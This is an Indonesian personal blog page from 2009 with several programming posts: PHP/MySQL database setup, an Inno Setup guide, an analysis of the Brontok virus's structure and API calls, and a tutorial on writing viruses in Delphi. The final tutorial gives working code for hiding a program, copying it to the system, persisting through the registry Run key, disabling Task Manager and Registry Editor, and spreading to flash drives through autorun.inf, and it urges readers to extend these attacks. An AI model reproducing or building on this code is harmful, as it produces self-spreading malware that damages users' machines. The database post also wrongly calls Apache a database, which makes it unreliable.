Google
 
Web Fahru's Blog
Tampilkan postingan dengan label Pemrograman. Tampilkan semua postingan
Tampilkan postingan dengan label Pemrograman. Tampilkan semua postingan

Rabu, 07 Januari 2009

Membuat DataBase dan Table pada Apache 2.4.2 untuk PHP

. Rabu, 07 Januari 2009
2 komentar

Apakah anda sering bermain dengan PHP? Apakah anda sering mendengar atau bahkan menggunakan software Apache sebagai DataBase pada PHP? Kalau anda sudah sering menggunakan maka tidak ada salahnya kita berbagi ilmu kepada teman-teman kita. Kalau anda belum pernah sama sekali ayo kita sama-sama mempelajari bagaimana cara membuat DataBase dan Tabel pada software DataBase ini.
Hal yang pertama kali yang harus anda miliki adalah software Apache yang sudah terinstall pada komputer anda. Kalau anda belum punya aplikasinya,

bisa di download di Mbah GOOGLE dengan memasukkan kata kunci “Download Apache” maka anda akan bisa mendownload software Apache-nya.

Nah apabila anda sudah mempunyai software Apache maka sekarang kita pelajari bagaimana cara membuat DataBase dan Tabel pada Apache tersebut.

1. Jalankan aplikasi Apache anda dengan cara masuk ke Start > All Program> AppServ > Apache Control Server > Start.

2. Setelah Apache dijalankan, maka anda harus mengecek apakah Apache anda sudah betul-betul jalan atau tidak dengan cara masuk ke jendela Internet Explorer dan ketikkan perintah “Localhost”. Perhatikan gambar berikut ini :

3. Apabila Apache anda sudah jalan maka setelah mengetikkan localhost akan tampil halaman apache seperti gambar berikut ini :

4. Nah setelah tampil halaman seperti gambar diatas berarti Apache anda sudah berjalan. Sekarang saatnya membuat DataBase dan Tabel untuk project kita kali ini.

5. Untuk membuat DataBase dan Tabel pada Apache ada dua cara yang bisa dilakukan.

a. Klik Link phpMyAdmin Database Manager Version 2.6.0-pl2. Perhatikan gambar berikut :

b. Kalau anda tidak mau menggunakan cara diatas maka gunakan cara ini. Ketikkan langsung pada Address bar disamping localhost-nya “phpMyAdmin”. Perhatikan gambar berikut :

6. Kalau sudah maka akan tampil halaman untuk membuat DataBase dan Tabel seperti gambar berikut ini :

Pada gambar diatas terdapat kotak untuk mengisi Nama DataBase anda kemudian klik tombol Create. Apache yang saya gunakan menggunakan bahasa Inggris. Kalau anda ingin mengunakan bahasa Indonesia maka tinggal diganti pada bagian Language sebelah kanan.

7. Setelah anda meng-klik tombol Create maka akan tampil gambar seperti ini :

8. Kemudian akan tampil halaman seperti gambar berikut. Nah disini anda memasukkan field-field tabel anda. Perhatikan gambar :

9. Setelah selesai maka akan tampil gambar seperti ini yang menandakan bahwa anda sudah berhasil membuat tabel pada Database Apache.

Selamat anda sudah mempunyai satu tabel pegawai yang bisa anda gunakan pada pemrograman PHP. Selamat mencoba.


Selengkapnya...

Senin, 29 Desember 2008

Cara Mengkoneksikan Database MySQL

. Senin, 29 Desember 2008
1 komentar

Pada sebelumnya kita telah bahas tentang pembuatan database pada artikel sebelumnya, sekarang saya akan jelaskan bagaimana mengkoneksikan database pada MySQL dengan browser. Mungkin hal ini bukan sesuatu hal baru bagi anda yang sudah lama dan mungkin ahlinya dalam bidang php dan sql namun tidak salahnya kita ulang hal ini siapa tau banyak teman-teman kita yang mungkin belum mengerti tentang hal ini terutama saya tentunya :D dalam penulisan ini saya sangat berhati-hati dalam penulisan sintak-sintak yang siapa tau kalu di jalankan malah error dan apabila hal ini terjadi harap koreksiannya yah...:D

Pertama-tama kita buat databasenya dengan nama data_php pada MySQL caranya adalah:

  1. Buka phpmyadmin menggunakan browser masukan dengan alamat : http://localhost/phpmyadmin/

  2. Buka query sql untuk membuat database dengan perintah create database data_php dan kemudian klik GO
  3. Pada sesion ini kita telah berhasil membuat database, sekarang kita buat tabelnya dengan nama table data_pengguna perintahnya adalah create table data_pengguna(no int not null auto_increment, primarykey(no), nama varchar(40), umur int)

  4. setelah itu barulah kita isi table dengan perintah insert into data_pengguna values (1',komeng',35) kemudian klik GO

  5. nah lakukan barulang-ulang pada langkah ke-4 untuk mengisi table, untuk melihat isi dari table tersebut kita bisa gunakan perintah select * from data_pengguna

hem sekarang kita sudah selesai membuat database sekarang kita coba untuk mengkoneksikan database tersebut, langkah pertama adalah bagaimana mendiskripsikan letak database MySQL yang akan diolah dengan PHP beserta usermane dan passwordnya. Sintaknya sebagai berikut :


nama host disi dengan localhost,
username diisi dengan user yangdimiliki biasanya maki "root"
password juga diisi dengan password yang bersangkutan
kode die () digunakan untuk error handling
untuk memilih database kita gunakan script seperti dibawah ini



setelah database terpilih, perlu dituliskan statement dan pada umumnya dimasukan kedalam variabel misalnya lihat script ini



sekarang setelah koneksi database sql statement didefinisikan, baru bisa melakukan eksekusi sql statement dan menampilkannya dihalaman, dengan script :


kode disatas untuk mengeksekusi sql statement digunakan fungsi MySQL_fetch_array yang disandingkan dengan variabel sql statement yang berisi perintah SELECT. Kemudian nilainya disimpan kedalam variabel array $baris. Nilai-nilai di variabel array $baris ini kemudian akan ditampilkan dengan perintah print();

setelah semua disksekusi tidah adalagi yang diperlukan, maka koneksi dapat ditutp dengan menggunakan fungsi mysql_close seperti script dibawah ini :



Mungkin diantara kalian ada yang bingung dari penjulasan diatas untuk lebih jelasnya anda bila lihat script dibawah ini gabungnan dari semuanya :



akhirnya selesai juga ditambah lgi mata aku udah ngantuk ok dech sekarang moga ini bermanfaat bagi kita terutama diri penulis dan selamat berkerasi :D
save file tersebut dengan ektensi PHP

Selengkapnya...

Virus Brontok Made in VB

.
1 komentar

Dalam belakangan waktu ini mungkin anda pernah mendengar nama virus Brontok?......ya betul virus yang menduplikatkan dirinya dan menyesuaikan nama virus barunya berdasarkan folder atau file pada window epxlorer yang aktif. Ciri khas dari virus ini adalah menggunakan Icon folder, sehingga dapat mengecoh seseorang yang melihatnya.

Mengapa membahas virus ini?,...hmm...m....sebetulnya saya tidak terlalu tertarik membahas ini, tau nggak apa yang menyebabkan saya tertarik membahasnya?...pasti nggak tau kan @!img13@.....ini disebabkan beberapa hari lalu banyak kehebohan mengenai virus brontok dan sempat menginfeksi beberapa komputer teman2ku @!img7@.

Ok untuk mempersingkat waktu kita langsung aja

Setelah dilihat struktur file dari virus tersebut ternyata pembuatan virusnya menggunakan visual basic 6.0 ops....ternyata made in vb coy....nah ini yang membuat tambah menarik.

Virus ini terdiri dari 1 form da 1 Module, dengan nama

Form -> BrontokForm
Module -> API

Dengan detail berikut:

Begin VB.Form BrontokForm
Caption = "Brontok.A"
ForeColor = &H8000000F&
ScaleMode = 1
BeginProperty Font
Name = ""
Size = 195323.4944
Charset = 29
Weight = 774
EndProperty

Begin VB.Timer TmrBrontok
Enabled = 0 'False
Interval = 2000
Left = 2160
Top = 0
Width = 57352
Height = 1
End
End


Dengan nama Project: Brontok.vbp, yang disimpan pada directory:
F:\VPROJECT\REHAB\Re-1\BRONTOK.A

Jelas sekali bahwa virus ini dibuat oleh sorang program lokal, yang mempunyai skill Menengah Keatas.

Ada beberapa procedure & function yang digunakan dengan nama:

Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
TmrBrontok_Timer()
Subr_004()
CekKoneksiInternet()
ManipulasiExec()
Subr_007()
KeluarDong()
BronReg()
CopyAppData()
DownloadVir()
StartDong()
StartUp()
DecTeks()
MutMutex()
MutCr()
DownloadFile()
CekUpdate()
InfekNetwork()
Judul()
CekRemDisk()
BikinFile()
GetEmailFile()
CekValidMail()
GetTeks()
CekKar()
ListMail()
GetTargetMBhs()
GavMailer()
BrontokMail()
Subr_031()
DataEmail()
DownMIME()
FindFilesAPI()
ListFileGav()
InfekFile()
SmallAttack()
MinggirLoe()
GetHostByNameAlias()
StripNulls()
BikinKredit()

Dan beberapa fungsi Api yang digunakan anatara lain:

Fungsi Baca Tulis Ke Register:
Declare Function RegOpenKeyExA Lib "advapi32.dll" ()
Declare Function RegSetValueExA Lib "advapi32.dll" ()
Declare Function RegCloseKey Lib "advapi32.dll" ()
Declare Function RegCreateKeyExA Lib "advapi32.dll" ()

Declare Function Sleep Lib "kernel32" ()

Mendapatkan Spesial Folder:
Declare Function SHGetPathFromIDList Lib "shell32.dll" ()
Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" ()

Membaca Isi Halaman Situs:
Declare Function InternetOpenA Lib "wininet.dll" ()
Declare Function InternetOpenUrlA Lib "wininet.dll" ()
Declare Function InternetReadFile Lib "wininet.dll" ()
Declare Function InternetCloseHandle Lib "wininet.dll" ()

Mendapatkan Caption Dari Sebuah Window:
Declare Function GetWindowTextA Lib "user32" ()
Declare Function GetWindowTextLengthA Lib "user32" ()

Dapatkan HWND Window aktif:
Declare Function GetForegroundWindow Lib "user32" ()

Shutdown, Reboot, LogOff Windows:
Declare Function ExitWindowsEx Lib "user32" ()
Declare Function GetCurrentProcess Lib "kernel32" ()
Declare Function OpenProcessToken Lib "advapi32" ()
Declare Function LookupPrivilegeValueA Lib "advapi32" ()
Declare Function AdjustTokenPrivileges Lib "advapi32" ()

Mendapatkan Jenis Media yang ada spt Removable Disk, CD-Rom dll:
Declare Function GetDriveTypeA Lib "kernel32" ()

Declare Function ShellExecuteA Lib "shell32.dll" ()
Declare Function RtlMoveMemory Lib "kernel32" ()

Winsock API:
Declare Function closesocket Lib "wsock32.dll" ()
Declare Function connect Lib "wsock32.dll" ()
Declare Function htons Lib "wsock32.dll" ()
Declare Function inet_addr Lib "wsock32.dll" ()
Declare Function recv Lib "wsock32.dll" ()
Declare Function send Lib "wsock32.dll" ()
Declare Function socket Lib "wsock32.dll" ()
Declare Function gethostbyname Lib "wsock32.dll" ()
Declare Function WSAStartup Lib "wsock32.dll" ()
Declare Function WSACleanup Lib "wsock32.dll" ()
Declare Function WSAAsyncSelect Lib "wsock32.dll" ()

Fungsi yang berhubungan dengan file:
Declare Function FindFirstFileA Lib "kernel32" ()
Declare Function FindNextFileA Lib "kernel32" ()
Declare Function GetFileAttributesA Lib "kernel32" ()
Declare Function FindClose Lib "kernel32" ()
dll...

Terlihat jelas pada fungsi-fungsi api yang digunakan bahwa penularan virus ini brontok menggunakan beberapa cara. seperti pengiriman lewat email, pencarian nama komputer yang terhubung kejaringan dengan menyalin dirinya pada folder yang di sharing dan menyalin dirinya pada window explorer yang aktif. kalo gak salah si pembuat virus mempunyai SMTP sendiri (wah ati-ati mas ntar ketangkep)

Jika dilihat kembali pada strukturnya ada beberapa kata yang di encrypt, kemungkinan berupa exploit code atau apalah namanya. hanya allah dan pembuat virus yang tau. @!img1@

Virus ini mempunyai fungsi ExitWindowsEx yang diimport dari file user32.dll, fungsi ini biasanya digunakan untuk mematikan windows.
kayaknya sipembuat virus membuat triger yang berisi perintah mematikan/merestart komputer.

Selain itu dalam struktur filenya terdapat kata-kata seperti ini:
FOLDER.HTT
RORO
.HTT
.DOC
.CSV
.EML
.CFM
.PHP
.WAB
.EML
.TXT
.HTML
.HTM
MY DATA SOURCES
MY EBOOKS
MY MUSIC
MY SHAPES
MY VIDEOS
MY DOCUMENT

Dan ada beberapa alamat situs yang diserang, apa DDOS ya...hik..hik..tau deh. Selain itu pembuat virus mencantumkan nama: --JowoBot#VM Community --

Selanjutnya coba lihat tiga fungsi api berikut:

Declare Function GetWindowTextA Lib "user32" ()
Declare Function GetWindowTextLengthA Lib "user32" ()
Declare Function GetForegroundWindow Lib "user32" ()

Sepertinya pembuat virus memanfaatkan windowexplorer untuk memperbanyak filenya ke folder yang lain. Dengan cara membaca Caption yang terdapat pada windows aktif yang berisi nama directory/path. Dengan menggunakan 2 fungsi diatas (GetWindowTextA & GetWindowTextLengthA), Sedangkan fungsi GetForegroundWindow digunakan untuk mendapatkan Handle Window (HWND) yang sedang aktif.

Jadi kesimpulannya virus ini tidak dapat menyalin dirinya kalo Caption pada windowExplorer bukan berupa Directory/Path. Sehinga si pembuat virus menonaktifkan setting pada Folder Options.

Kemudian yang lebih unik lagi virus ini membaca isi halaman situs yang terbuka pada sebuah InternetExplorer dengan menggunakan fungsi:

Declare Function InternetOpenA Lib "wininet.dll" ()
Declare Function InternetOpenUrlA Lib "wininet.dll" ()
Declare Function InternetReadFile Lib "wininet.dll" ()
Declare Function InternetCloseHandle Lib "wininet.dll" ()

Kalo saya tebak, sepertinya pembuat virus mencari alamat email pada halaman situs yang terbuka dan mengirimkan virus nya berdasarkan alamat email yang ditemukan pada halaman tersebut dengan kata kunci seperti mailto: ataupun @xxxx.com dll...

....Untuk membersihkannya silahkan baca selengkapnya di situs AntiVirus yang lain...he..he...maaf saya hanya membahas yang ini saja.

Tapi kalo pengen menonaktifkan virus ini secara cepat, coba masuk safemode kemudian rename file MSVBVM60.dll menjadi MSVBVM60.dl_
karena virus ini membutuhkan runtime vb. Nah kalo udah gak aktif baru kita bisa hapus beberapa registry entry dan file-file virus brontoknya.

Sayang sekali virus ini tidak menggunakan program compressor, sehingga memudahkan orang untuk mengenalinya.
Selengkapnya...

Menjadikan File Setup Pada VB

.
4 komentar

Sebelumya saya minta maaf atas ketidak jelasan artikel ini pada sebelumnya yang mungkin banyak membuat teman-teman merasa bingung he,he maklum mungkin waktu itu lagi kena virus malas.

Pada dasarnya bahasa pemrograman seperti VB (visual basic) mempunyai "package and Deployment Wizard" tersendiri tapi kalu anda kurang puas dengan hal tersebut anda bisa memanfaatkan tools sejenis Package and Deployment Wizard ada beberapa alternatif tools yang bisa dipakai seperti :

  1. Inno Setup (tools ini free dan biasanya banyak digunakan orang)
  2. Wise Installation
  3. Installshield
  4. Setup Factory
  5. dan lainnya
Dalam penggunaan Package and Deployment Wizard kita mempunyai beberapa keuntungan diantaranya adalah menutup kemungkinan adanya perubahan atau pengeditan dari suatu program tersebut, jadi BT kan kalu kita susah payah buat program eh tiba-tiba program kita di-Edit dan tidak mengatas namakan permbuatnya, kemudian selain itu lebih efesien dan simple karena from-from yang banyak pada program tersebut akan ditiadakan dan akan dijadikan file setup seperti gambar dibawah
Nah kalu udah begitukan program kita akan kelihatan kren kan hehehe

Ok kita langsung saja bahas bagaimana cara menjadikan file setup pada VB (revisi), pertama anda harus install program tools diatas, pada praktek ini saya menggunakan Inno Stup selain free alias gratis program ini tidak sulit untuk digunakan.
  1. Jalankan program Inno Stup,
  2. Pada dialog pertama anda pilih Create a new script file using the Script Wizard kemudian klik OK.
  3. Kemudian akan muncul dialog lagi yang mengharuskan anda mengklik Next.
  4. Pada dialog Application Information, anda dapat membuat nama dari program anda,versi dari program, dan juga pulbisernya.
  5. Setelah anda mengkilik kembali pada tombol Next maka pada dialog Application Folder, anda dapat menentukan letak folder instalation diletakan biasanya pada program file folder.
  6. Selanjutnya pada Aplication Files, dimana folder install diletakan, kemudian pada tombol buton kita pilih add file, dan kita browse program yang ingin kita jadikan file setup. tapi ingat sebelumnya file dari frogram itu harus kita jadikan EXE tau kan cara nya.
  7. Kemudian setelah klik Next akan ada dialog Aplication Icons, beri centang yang ingin kita aktifkan pada menu nanti nya seperti buat shorcut pada menu bar Dll.
  8. Selanjutnya pada dialog Application Documentation, kita bisa buat sebuah lisensi dari notepad.
  9. Setelah anda klik Next, sekarang anda dapat nenentukan pilihan bahasa pada installasi nanti.
  10. pada dialog compiler Setting, anda dapat menentukan letak hasil dari pembuatan file tersebut, dan anda bisa juga menyisipkan icon pada hasil file setup nantinya, tidak ketinggalan juga lo anda bisa membuat serial number pada file tersebut saat installasi. keren bukan.
  11. Kemudian klik Next, dan pilih Finish, kemudian akan muncul dialog Inno Stup Compiler dan pilih yes.

Dan hasilnya seperti gambar dibawah ini

Semoga tulisan ini membantu anda untuk mempermudah pembuatan file setup dari program yang anda buat... Smoga bermanfaat.
Download Artikel disini
Selengkapnya...

Dasar-Dasar Pemrograman Virus dengan Delphi

.
1 komentar

Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Kalo setuju silakan lanjut.

Tingkat kerusakan yang ditimbulkan virus sangat bervariasi tergantung kreatifitas sang penulis virus. Hal-hal yang biasanya dilakukan oleh virus (terutama virus lokal) antara lain:

* Menyembunyikan dirinya, artinya aplikasi akan berjalan tanpa sepengetahuan user
* Meng-copy dirinya ke direktori sistem
* Membuat dirinya otomatis dijalankan pada saat startup Windows
* Mendisable fungsi-fungsi Windows tertentu seperti Task Manager, Registry Editor, dll
* Men-copy dirinya ke media removable semacam flashdisk
* Fungsi-fungsi lain seperti memunculkan pesan, menulis file tertentu, mengubah tulisan "Start", dll.

Sekarang kita akan membahasnya satu-persatu. Peralatan yang dibutuhkan:

* Yang udah pasti, Delphi
* Kesabaran, ketelitian, mata yang sanggup memandang layar komputer berjam-jam
* Dream Theater dan segelas kopi ;)

Attack #1 - Menyembunyikan diri

Kayaknya ini yang paling gampang deh, cukup ketikkan code berikut pada event form create:

Application.ShowMainForm := False;

Attack #2 - Men-copy diri ke sistem

Sebenarnya gak harus ke direktori sistem sih, ini kan cuma untuk contoh aja. Langsung aja kerikkan code ini:

CopyFile(PChar(Application.ExeName), 'C:\MyVirus.exe', False);

Attack #3 - Startup otomatis

Windows akan menjalankan program/script yang diletakkan pada:

* HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKCU\Software\Microsoft\Windows\CurrentVersion\Run
* HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
* HKLM\Software\Microsoft\Windows\CurrentVersion\Run
* HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
* HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
* C:\Documents and Settings\All Users\Start Menu\Programs\Startup
* C:\Documents and Settings\[username]\Start Menu\Programs\Startup

Mo pilih yang mana ? Terserah. Untuk contoh kali ini, aku akan memilih registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Untuk itu, ketikkan code dbawah untuk mengakses registry dan membuat string value di path yg kusebutin diatas.

uses
Registry;

var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('MyVirus', 'C:\MyVirus.exe');
Reg.CloseKey;

Attack #4 - Disable tools bawaan Windows

Ada banyak tools bawaan Windows yang bisa dipakai untuk melawan malware, karena terlalu banyak, aku cuma akan menjelaskan gimana cara blokir Registry Editor dan Task Manager. Yang lainnya kembangkan sendiri yach...!

uses
Registry;

var
Reg : TRegistry;

begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System', True);
Reg.WriteInteger('DisableTaskMgr', 1); //disable Task Manager
Reg.WriteInteger('DisableRegistryTools', 1); //disable Registry Editor
Reg.CloseKey;

Attack #4 - Menyebarkan diri ke flashdisk

Kebanyakan virus menyebar karena flashdisk yang dicolokin ke komputer yang telah terinfeksi. Biasanya virus tsersebut tidak lupa untuk membuat file autorun.inf agar virus tersebut otomatis dieksekusi pas dicolokin ke koputer lain. Dan demi kesederhanaan agar mudah dipahami, aku hanya akan mencontohkan proses penyebaran ke drive G:\

var
Atr : TextFile;

begin
if FileExists('G:\autorun.inf')= False and
FileExists('G:\MyVirus.exe') = False then
begin
//virus belum men-copy dirinya, copy...
CopyFile(PChar(Application.ExeName), 'G:\MyVirus.exe', False);

//tulis file autorun.inf
AssignFile(Atr, 'G:\autorun.inf');
ReWrite(Atr);
WriteLn(Atr, '[autorun]');
WriteLn(Atr, 'open=MyVirus.exe');
CloseFile(Atr);
end;
end;

Akan lebih baik lagi kalo code diatas dieksekusi secara periodik oleh timer. Silakan kembangkan sendiri attack-attack lainnya seperti memunculkan pesan, menulis file-file aneh, dll. Semoga setelah melihat sekilas alur penyebaran virus kita jadi lebih tau trik-trik untuk melindungi komputer kita tanpa antivirus. Semoga bermanfaat.
Selengkapnya...

 
© Copyright 2009. By Fahru